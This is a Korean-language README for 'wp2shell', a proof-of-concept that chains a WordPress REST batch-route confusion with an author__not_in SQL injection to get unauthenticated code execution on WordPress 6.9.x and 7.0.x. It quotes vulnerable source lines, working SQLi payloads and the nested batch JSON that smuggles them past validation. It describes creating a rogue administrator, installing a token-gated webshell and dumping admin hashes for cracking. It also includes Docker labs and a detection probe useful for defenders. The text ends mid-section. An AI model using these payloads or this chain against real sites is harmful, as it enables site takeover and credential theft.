
CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: WordPress 코어의 인증되지 않은 원격 코드 실행(RCE)
REST API 배치 라우트 혼동(CVE-2026-63030)과
WP_Queryauthor__not_inSQL 인젝션(CVE-2026-60137)의 체이닝 → 기본 WordPress 설치에 대한 인증 전 원격 코드 실행.Adam Kues(Assetnote / Searchlight Cyber)가 발견, 2026-07-17 공개. 권고: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf.
| 체인 (인증 없는 RCE) | WordPress 6.9.0 - 6.9.4 및 7.0.0 - 7.0.1 |
| SQLi만 (보조 플러그인/테마 필요) | 6.8.0 - 6.8.5 |
| 영향 없음 | 배치 혼동의 경우 ≤ 6.8; 6.9.5 / 7.0.2 / 7.1-beta2 (패치됨) |
| 전제 조건 | REST API 접근 가능; 영구 객체 캐시 없음 (Redis/Memcached); ≥1개의 발행된 글 |
| 인증 필요 | 없음 |
| 영향 | 인증 없이 → 새 관리자 생성 → 코드 실행 (SQLi는 관리자 해시도 덤프) |
https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6
requests 의존성이 없고 깨진 기능도 없습니다.shell은 단일 글 UNION 혼동을 통해 가짜 WP_Post를 위조하고, 커스터마이저를 브리지하여 새 관리자(POST /wp/v2/users)를 만든 뒤 로그인하고 토큰 게이트 웹쉘을 설치합니다. SQLi 관리자 해시 덤프(read --preset users)는 검증된 두 번째 경로로 유지됩니다.check로 사용되는 버전 독립적 혼동 탐지기(block_cannot_read).sqli).$wp$2y$ 비밀번호 해시를 위한 hashcat 모드(-m 35500).wp2shell/
├── README.md ← you are here
├── wp2shell.py ← the unified PoC (single file, stdlib only, by 0xsha)
└── lab/ ← reproducible Docker labs + reliability matrix
├── docker-compose.yml (default 6.9.4 lab)
├── docker-compose.matrix.yml (parameterised: any version × MySQL/MariaDB)
├── docker-compose.sqli.yml (6.8.3 "SQLi only" lab)
├── matrix.sh (runs the whole reliability matrix)
└── sqli-only/facilitator.php (mu-plugin: the 6.8.x facilitating sink)
이 도구가 참조하는 6개의 공개 PoC는 여기에 번들로 포함되지 않으며, 크레딧에 링크되어 있습니다.
아래의 모든 내용은 로컬 Docker 랩에서 검증되었습니다(§4 참조); 랩에서 실행되지 않은 항목은 그렇게 표시됩니다.
이 체인은 두 개의 독립적인 버그를 결합합니다. 줄 번호는 실제 WordPress
6.9.4 소스(wordpress:6.9.4-apache에서 추출) 기준입니다.
author__not_in SQL 인젝션 (CVE-2026-60137)wp-includes/class-wp-query.php, WP_Query::get_posts():
2403 if ( ! empty( $query_vars['author__not_in'] ) ) {
2404 if ( is_array( $query_vars['author__not_in'] ) ) { // ← guard only fires for ARRAYS
2405 $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406 sort( $query_vars['author__not_in'] );
2407 }
2408 $author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // ← string passes straight through
2409 $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // ← raw interpolation
2410 } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415 $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) ); // ← absint INSIDE implode
문자열 author__not_in은 is_array() 가드(2404)를 건너뜁니다. implode(',', (array)"…")는 이를 변경 없이 반환하고(2408), SQL에 원시 문자열로 연결됩니다(2409). 형제인 author__in(2415)은 implode 내부에서 array_map('absint', …)을 다시 적용하므로 안전합니다. 바로 그 누락된 array_map 하나가 이 버그입니다. 값은 ... post_author NOT IN (<value>) ...로 들어가므로 0) <sql>-- -가 리스트를 닫고 SQL을 덧붙입니다.
문자열을 거기에 넣는 것이 어려운 부분입니다. REST 글 엔드포인트는 author_exclude → author__not_in(class-wp-rest-posts-controller.php:247)을 매핑하지만 정수 'type' => 'array'로 선언하므로 코어가 문자열을 강제 변환/거부합니다:
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer." (verified on 6.8.3)
그래서 버그 A만으로는 "보조" 단계에 불과합니다. 버그 B가 6.9+에서 문자열을 검증을 통과시켜 밀반입합니다.
wp-includes/rest-api/class-wp-rest-server.php, serve_batch_request_v1():
1720 if ( false === $parsed_url ) {
1721 $requests[] = new WP_Error( 'parse_path_failed', … ); // a bad path becomes a WP_Error IN $requests
1749 foreach ( $requests as $single_request ) {
1750 if ( is_wp_error( $single_request ) ) {
1752 $validation[] = $single_request; // ← pushed to $validation …
1753 continue; // ← … but $matches is SKIPPED
1754 }
1757 $matches[] = $match; // ← $matches only grows for VALID requests
1825 foreach ( $requests as $i => $single_request ) { // indexed by position in $requests
1841 $match = $matches[ $i ]; // ← $matches is SHORTER → +1 shift
1861 $result = $this->respond_to_request( $single_request, $route, $handler, $error );
WP_Error 하위 요청은 $validation[](1752)에 푸시되지만 $matches[]에는 푸시되지 않습니다(1753의 continue가 1757을 건너뜀). 따라서 $matches가 짧아지고 $matches[$i](1841)는 다음 요청의 핸들러를 보유하게 됩니다. 요청 i는 요청 i+1의 핸들러로 디스패치되며, 자신의 파라미터와 (통과된) 검증 결과를 그대로 가집니다.
회귀 원인 (6.8.3 → 6.9.4 diff에서 검증): 6.8.3에서는 루프가 모든 요청에 대해 $matches[] = $match를 푸시하고 잘못된 경로는 첫 번째 루프에서 버려집니다 - 배열이 정렬된 상태로 유지되어 불일치가 없습니다. 6.9.0의 리팩터링에서 이 시프트가 도입되었습니다. 이것이 바로 6.8.x가 "SQLi 전용"이고 RCE 체인이 6.9.0부터 시작하는 이유입니다.
패치는 오류 항목에 대해서도 $matches[]를 추가하고, 재진입을 강화하며, author__not_in을 id-리스트 헬퍼로 파싱합니다. (테스트 시점에 6.9.5는 Docker Hub에 없었으므로 이 내용은 권고 문서 기준이며 랩 내 diff가 아닙니다.)
배치 스키마는 POST/PUT/PATCH/DELETE 하위 요청만 허용하지만, 글 get_items(author_exclude 싱크)는 GET 전용이므로 혼동을 두 번 중첩합니다:
// OUTER batch → POST /wp-json/batch/v1
{"requests": [
{"method":"POST","path":"///"}, // [0] bad path → WP_Error → +1 shift
{"method":"POST","path":"/wp/v2/posts", // [1] carrier: validated as a posts CREATE →
"body": { /* INNER batch */ }}, // its `requests` body is never schema-checked
{"method":"POST","path":"/batch/v1", // [2] handler → [1] dispatched as serve_batch_request_v1
"body":{"requests":[]}} // (no permission_callback → unauthenticated)
]}
// INNER batch (GET now allowed):
// [0] POST /// WP_Error → inner +1 shift
// [1] GET /wp/v2/users?author_exclude=<PAYLOAD> users has no author_exclude → PAYLOAD passes untouched
// [2] GET /wp/v2/posts [2]'s handler = posts get_items → runs [1] → SQLi
///는 불일치 프라이머입니다(wp_parse_url()이 거부하는 모든 경로가 작동합니다). 이 도구는 동일한 트릭의 --variant categories 버전도 제공합니다.
단일의 비파괴적이며 버전 독립적인 프로브는 SQLi 싱크가 객체 캐시되거나 WAF로 필터링된 경우에도 CVE-2026-63030을 확인합니다: 불일치로 인해 POST /wp/v2/posts가 블록 렌더러의 권한 콜백에 의해 응답되는 POST 하위 요청 배치입니다:
responses[1].code == "block_cannot_read" ← a permission error from a handler it never asked for
wp2shell.py check는 이를 기본 신호로 사용합니다(구조적 글-vs-분류 형태를 폴백으로). (탐지 기법: Hadrian / Icex0.)
값은 NOT IN (<value>) 안에 위치하여 깔끔한 불리언 오라클을 제공합니다: 0) AND (<cond>)-- -는 <cond>가 참일 때만 행을 반환합니다. 추출은 ASCII(SUBSTRING(COALESCE((expr),''),n,1))에 대한 문자 단위 이진 탐색입니다(COALESCE는 NULL이 빈 읽기로 단락되는 것을 방지합니다).
랩 메모 - 시간 기반은 주의가 필요합니다. 기본 설치에서 단순한
0) OR SLEEP(n)-- -는 지연이 없습니다: 게시된 행이 먼저 쿼리를 충족하여OR를 단락시키기 때문입니다. 확인은 결정론적 불리언 차등 비교를 사용하며, 타이밍은0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -를 사용합니다. 관측 결과 0.01초 vs 3.04초.
실용적인 RCE는 비밀번호도 크래킹도 필요 없습니다. 자격 증명이 없는 shell은 전체 체인을 실행하며, 모두 랩에서 검증되었습니다: